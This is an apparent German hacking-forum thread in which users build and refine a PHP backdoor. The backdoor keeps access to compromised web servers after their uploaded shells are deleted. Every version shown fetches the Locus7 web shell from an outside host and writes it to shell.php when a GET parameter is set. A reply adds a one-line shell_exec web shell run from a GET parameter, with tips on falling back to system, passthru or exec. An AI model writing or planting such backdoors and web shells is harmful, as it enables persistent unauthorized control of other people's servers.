backdoorscript will nicht ganz

also ich hab keine lust mehr, dass meine shells andauernd deleted werden also hab ich beschlossen mir ein backdoor script zu basteln :

Code:

---

<?php
if($_GET['rykou']){
      $file = fopen("shell.php","w+");
      $stream = fopen ("http://usuarios.multimania.es/pilotcast/Locus7Shell.txt", "r");
      while(!feof($stream)) {
            $shell .=fgets($stream);
      }
fwrite($file, $shell); fclose($file);}
?>

---

das problem ist, dass es lokal funktioniert aber bei einigen funzt das eben nicht da kommen dann fehler wie:

Code:

---

Warning: Unexpected character in input: ' in /proc/30851/environ on line 1

Parse error: syntax error, unexpected T_STRING in /proc/30851/environ on line 1

---

jemand ne idee? ich vermute mal es hat was mit magic quotes zutun weil er wegen string rumheult...

Ich würde es nicht über das Öffnen von URLs machen, sondern eher so:

PHP-Code:

---

<?php

if($_GET["rykou"]) {

    $f = fopen("shell.php","w+");
    fwrite($f,file_get_contents("http://usuarios.multimania.es/pilotcast/Locus7Shell.txt"));
    fclose($f);
    
}

?>

---

Ist denke ich fehlerunanfälliger.

PHP-Code:

---

if($_GET+++91;"rykou"+++93;) 


---

kannst mir den mal erklären?:D

Zitat:

---

Zitat von PoLe

PHP-Code:

---

if($_GET+++91;"rykou"+++93;) 


---

kannst mir den mal erklären?:D

---

Vbulletin zerstört den kot. VeN0m poste dein kot mit [CODE] tags :D

Mh, also als ich noch Mod war ging der PHP-Tag noch. Also:

Code:

---

<?php

if($_GET["rykou"]) {

    $f = fopen("shell.php","w+");
    fwrite($f,file_get_contents("http://usuarios.multimania.es/pilotcast/Locus7Shell.txt"));
    fclose($f);
   
}

?>

---

Dann könnte man es aber auch gleich so machen:

Code:

---

if(isset($_GET['rykou'])) file_put_contents('shell.php', file_get_contents('http://usuarios.multimania.es/pilotcast/Locus7Shell.txt'))

---

Sicher, aber ich bevorzuge immer noch die lange Version - frag' nicht wieso ^^.

Für "Administrative Jobs" kann man quasi auch shell_exec nutzen.

Code:

---

<?php $output = shell_exec($_GET['hoo']); echo “<pre>$output</pre>”; ?>

---

Vorausgesetzt die entsprechenden Serverkonfigurationen lassen ein shell_exec zu (PHP Safe Mode deaktiviert etc.).

Ich würde bei shell_exec dann aber mit is_callable("shell_exec") prüfen, ob die Funktion aufrufbar ist. Wenn nicht, dasselbe für system, passthru und/oder exec probieren.

hab schon verstanden, ich mach das dingens neu:D